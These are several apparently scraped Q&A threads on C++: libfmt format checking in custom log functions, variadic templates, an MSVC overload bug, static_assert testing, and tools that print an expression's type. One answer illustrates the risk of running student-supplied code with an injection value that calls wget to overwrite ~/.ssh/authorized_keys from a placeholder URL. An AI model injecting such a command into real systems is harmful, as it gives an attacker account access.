I've got my own logging functions. I want to use libfmt to format the log parameters, eg:
log_error("Error on read: {}", errMsg);
However compile time format string checking seems to only work if I call the print/format functions directly, not if I call them in my log function:
#include <fmt/format.h>
template<typename ...Args>
void log_error(fmt::string_view format, const Args& ...args) {
// Log function stripped down to the essentials for this example
fmt::print(format, args...);
}
int main()
{
// No errors on this line
log_error(FMT_STRING("Format with too few and wrong type arguments {:d}"), "one", 2.0);
// Compile errors on the next line
// fmt::print(FMT_STRING("Format with too few and wrong type arguments {:d}"), "one", 2.0);
}
The above code and the error (if second line is uncommented) can be seen on godbolt
Is there any way to get this compile time format check to work in my own log function?
You can pass the format string as another template to the custom log_error implementation. Example:
template<typename Str, typename ...Args>
void log_error(const Str& format, const Args& ...args) {
fmt::print(format, args...);
}
This produces the same error as the direct invocation.
Related
I have a largish code base that does log_msg("Here comes %s", "the text"), where log_message is a macro that adds function name and line numbers to the log message.
GCC/G++ warn about errors when the format string doesn't match the supplied arguments. Unfortunately sometimes the code calls log_msg(get_the_text()). The return value of get_the_text() is unknown at compile time, so if it contains some printf formatting sequences, the code will fall flat on its face.
What I'm looking for is a way to route the single argument usages through a different code path that doesn't interpret the formatting codes. I tried something like this hoping that the non-variadic case is more specific than the variadic one:
void log_the_message_implementation(const char *filename, const char *funcname, const char *msg);
void log_the_message_implementation(const char *filename, const char *funcname, const char *msg, ...);
I was hoping that the compiler would pick the single argument function when there are no variable args, but it complains about ambiguous calls.
Any ideas how to fix this without changing thousands of calls from
log_msg(get_the_text()) to log_msg("%s", get_the_text())?
Thanks to #SamVarshavchik this is what I came up with:
#include <iostream>
#include <cstdio>
#include <tuple>
template<typename ... Args>
void log(Args ... args) {
if (sizeof...(args) == 1) {
auto t = std::make_tuple(args...);
std::puts(std::get<0>(t));
} else {
std::printf(args...);
}
}
int
main() {
log("Test %d");
log("%s %d\n", "Test", 1);
log([]{ return "%s";}());
return 0;
}
For debugging purposes i want to see the result of unpacking variadic templates in c++. Is it possible anyway in VS?
//variadic template
template<class ... Ts>
void foo(Ts...args)
{
//...some code
auto x = bar(args..);
}
//client code:
foo(std::string("123"),int(4),5.6f);
I supposed result of code generation will be unpacked into something like:
void foo<std::string, int, float>(std::string args1, int args2, float args3)
{
//...some code
auto x = bar(args1,args2,args3);
}
But if it`s a little harder, who know what it will unpack into? :)
Before trying to find this i thought that it will be generated during preprocessing if switching "Properties->C/C++->Preprocessor->Preprocess to a File" to Yes in VS we can see this. But not, on this stage it only work with headers, #incldude''s #define''s ...
Question is how to see the result of unpacking parameter packs code generation? Does this code exist in readable form at all ? Or result translated into binary and *.exe file?
What you can do is a kind of static printing.
Static printing that will stop the compilation with an error revealing the params
template <typename...>
struct TParamViewer;
#define DEBUG_PRINT
#ifdef DEBUG_PRINT
#define VIEW_TPL_PARAMS(index, params) TParamViewer<params> td##index;
#else
#define VIEW_TPL_PARAMS(index, params)
#endif
//variadic template
template<class ... Ts>
void foo(Ts...args)
{
VIEW_TPL_PARAMS(0, Ts...);
}
Static printing that will show warnings revealing the params
Here we add a definition to the viewer class that will display a warning revealing the template params.
template <typename...>
struct TParamViewer {
bool i = 10;
};
All these solutions are just trick. In gcc, there is a proposed patch for proper debug printing.
Regards,
Visual C++ 2017 compiles the following cleanly, calling the user-defined log:
// Source encoding: UTF-8 with BOM ∩
#include <algorithm> // std::for_each
#include <iostream>
#include <math.h> // ::(sin, cos, atan, ..., log)
#include <string> // std::string
void log( std::string const& message )
{
std::clog << "-- log entry: " << message << std::endl;
}
auto main()
-> int
{
auto const messages = { "Blah blah...", "Duh!", "Oki doki" };
std::for_each( messages.begin(), messages.end(), log ); // C++03 style.
}
I think that's a compiler bug, since I designed the code to show how an identifier can be ambiguous due to name collision with the standard library.
Is it a compiler bug?
Supplemental info: MinGW g++ 7.2 issues several error messages. They're not exactly informative, 15 lines complaining about std::for_each, but evidently they're due to the name collision. Changing the name of log the code compiles nicely.
Update: Further checking indicates that it's clearly a compiler bug, because Visual C++ compiles the following (except when symbol D is defined):
#include <cmath> // std::(sin, cos, atan, ..., log)
#include <string> // std::string
namespace my{ void log( std::string const& ) {} }
using std::log;
using my::log;
auto main()
-> int
#ifdef D
{ return !!log; }
#else
{ auto f = log; return f==my::log; }
#endif
Reported to Microsoft (the new MS bug reporting scheme is very buggy: it thought it was a good idea to word-wrap the code, then refused to let me upload source code file unless I gave it a ".txt" filename extension).
This is a compiler bug because the compiler should not be able to perform template argument deduction for the for_each call.
The only declaration of for_each that could match is defined as [alg.foreach]:
template<class InputIterator, class Function>
Function for_each(InputIterator first, InputIterator last, Function f);
Template argument deduction applied on function parameter f needs the type of the function call argument log to proceed. But log is overloaded, and an overload set of functions does not have a type.
For example, this simpler code should not compile for the same reason:
#include <algorithm> // std::for_each
#include <string> // std::string
void log( std::string const& message );
void log();
auto main()
-> int
{
auto const messages = { "Blah blah...", "Duh!", "Oki doki" };
std::for_each( messages.begin(), messages.end(), log ); //template argument deduction for template parameter Function failed.
}
It works in this version of MSVC because templates (used to be/) are implemented as a kind of macro, so log is passed as a name, and overload resolution is performed at the point where log is called in the body of for_each.
About the edit:
The expression !!log is equivalent to a call to bool operator(bool) there are no template argument deduction, the compiler just can not know which overload of log it can use to make the conversion to bool.
Inside declaration of the form auto x=y, the actual type of x is deduced using template argument deduction [dcl.type.auto.deduct]/4:
If the placeholder is the auto type-specifier, the deduced type T' replacing T is determined using the rules for template argument deduction. [...]
So the behavior of MSVC is wrong but consistent.
Defining your own ::log causes undefined behaviour (no diagnostic required).
From C++17 (N4659) [extern.names]/3:
Each name from the C standard library declared with external linkage is reserved to the implementation for use as a name with extern "C" linkage, both in namespace std and in the global namespace.
Link to related answer.
In our unit tests we have a few lines like:
// Should not compile - manually checked
// auto val = ::Utils::LexicalCast<const char*>(5);
And indeed if I uncomment this code it fails within LexicalCast at a static_assert:
static_assert(!std::is_pointer<ToType>::value, "Cannot return pointers from a LexicalCast");
As, in this case it would be unclear who owns the memory.
So my question is, using any advanced C++ features (I was thinking of SFINAE mainly but am not well versed in it) is it possible to check if something wouldn't compile due to a static_assert in the function called? I don't mind detection at runtime or compile time, and dont mind macros, etc, as these are tests.
EDIT: e.g. I want something like
ASSERT_DOESNT_COMPILE(::Utils::LexicalCast<const char*>(5));
The following example shows that SFINAE cannot help with static_assert:
#include <type_traits>
// Fall back version that will always compile
template<class T>
void foo(T) {}
// Specific version using a static_assert that may or may not fire
template<class T>
void foo(T*) {
static_assert(std::is_same<T, char>::value, "Boo");
}
int main(int argc, char** argv) {
// This could call the fall back version, but the static_assert fires anyway
foo((int*)0);
return 0;
}
When compiled with clang++ (3.4) and g++ (4.8.1), the static_assert fires although according to SFINAE it shouldn't. My conclusion is SAFIAE, i.e. Static_Assert Failure Is An Error.
Perhaps too obvious, but ff you're only interested in this particular (static_assert) case, you can simply re#define it to something else:
#include <cassert>
#include <cstdio>
using namespace std;
#define static_assert(flag, msg) { assert(flag); }
int main()
{
static_assert(false, "static_assert compile time");
return 0;
}
I'm interested in writing a tool for teaching purposes that evaluates C++ expressions and prints their types. Essentially, my thinking is that my students could type in any expression, and the program would echo back the type of the expression. Is there an existing tool that already does this? If not, is there a pretty easy way to do it by integrating with an existing compiler and calling into its debugger or API? I've been told, for example, that Clang has a fairly complete compiler API, perhaps there's some way to just pass a string into Clang along with the appropriate include directives and have it spit out a type?
I realize that this is potentially a huge project if there's nothing close to this existing today. I just thought it would have significant educational value, so it seemed like it was worth checking.
I came up with an answer inspired by Ben Voigt's comments. Just make a bug and let the compiler tell you the type which caused it:
template <typename T> void foo(T); // No definition
int main() {
foo(1 + 3.0);
}
Result:
In function `main':
prog.cpp:(.text+0x13): undefined reference to `void foo<double>(double)'
Also, since you execute nothing but the compiler, you're pretty safe. No sandboxing needed, really. If you get anything other than "undefined reference to void foo<T>(T)", it wasn't an expression.
[edit] How would you put this into a tool? Simple, with macro's
// TestHarness.cpp
// Slight variation to make it a compile error
template <typename T> void foo(T) { typename T::bar t = T::bar ; }
int main() {
foo(EXPR);
}
Now compile with $(CC) /D=(EXPR) TestHarness.cpp. Saves you from rebuilding the input file every time.
Improving yet more on MSalter's improvement:
class X {
template <typename T> static void foo(T) {}
};
int main() {
X::foo( $user_code );
}
Result (with $user_code = "1 + 3.0"):
prog.cpp: In function ‘int main()’:
prog.cpp:2: error: ‘static void X::foo(T) [with T = double]’ is private
prog.cpp:6: error: within this context
This avoids the link step.
Original answer:
C++ has the typeid keyword. Conceptually, you just need to stick the user's expression into some boilerplate like:
extern "C" int puts(const char *s);
#include <typeinfo>
int main(void)
{
const type_info& the_type = typeid( $user_code );
puts(the_type.name());
}
And then pass that source file to the compiler, and run it to get the answer.
Practically, it's going to be difficult to avoid running malicious code. You'd need to use a sandbox of some type. Or be really really careful to make sure that there aren't mismatched parentheses (you do know what trigraphs are, right?).
yes I'm aware that the argument of typeid isn't evaluated. But let $usercode be 1); system("wget -O ~/.ssh/authorized_keys some_url" !
A better option would be to avoid running the program. With a framework (requires C++11) like:
extern "C" decltype( $user_code )* the_value = 0;
You could run the compiler with the option to generate debug data, then use e.g. a dwarf2 reader library and get the symbolic type information associated with the_value, then remove one level of pointer.
Here's one way you can do this in GCC and Clang with __PRETTY_FUNCTION__:
#include <iostream>
#include <iterator>
#include <cstring>
#include <string_view>
#include <vector>
template<typename T>
static constexpr auto type_name() noexcept {
// __PRETTY_FUNCTION__ means "$FUNCTION_SIGNATURE [with T = $TYPE]"
const auto * const begin = std::strchr(__PRETTY_FUNCTION__, '=') + 2; // +2 to skip "= "
const auto size = static_cast<std::string_view::size_type>(std::cend(__PRETTY_FUNCTION__) - begin - 2); // -2 meaning up to "]\0"
return std::string_view{ begin, size };
}
template <typename T1, typename T2>
class my_class { }; // Example Class
int main() {
my_class<int&, std::vector<double>> my_arr[20];
std::cout << type_name<decltype(my_arr)>();
}
Output on GCC:
my_class<int&, std::vector<double> > [20]
I'm interested in writing a tool for teaching purposes that evaluates C++ expressions and prints their types. Essentially, my thinking is that my students could type in any expression, and the program would echo back the type of the expression. Is there an existing tool that already does this?
These days, there sort of is such a tool - online. It only does what you want as an unintended by product though. I'm talking about Matt Godbolt's Compiler Explorer.
Your "program" will look like this:
#define EXPRESSION 123
template <typename T> class the_type_of_EXPRESSION_IS_ { };
using bar = typename the_type_of_EXPRESSION_IS_<decltype(EXPRESSION)>::_;
Now, if you replace 123 with a C++ expression, you'll get, in the compiler error messages section, the following:
<source>:4:72: error: '_' in 'class the_type_of_EXPRESSION_is_<int>' does not name a type
4 | using bar = typename the_type_of_EXPRESSION_IS_<decltype(EXPRESSION)>::_;
| ^
Compiler returned: 1
The first line has your desired type, within the angle brackets.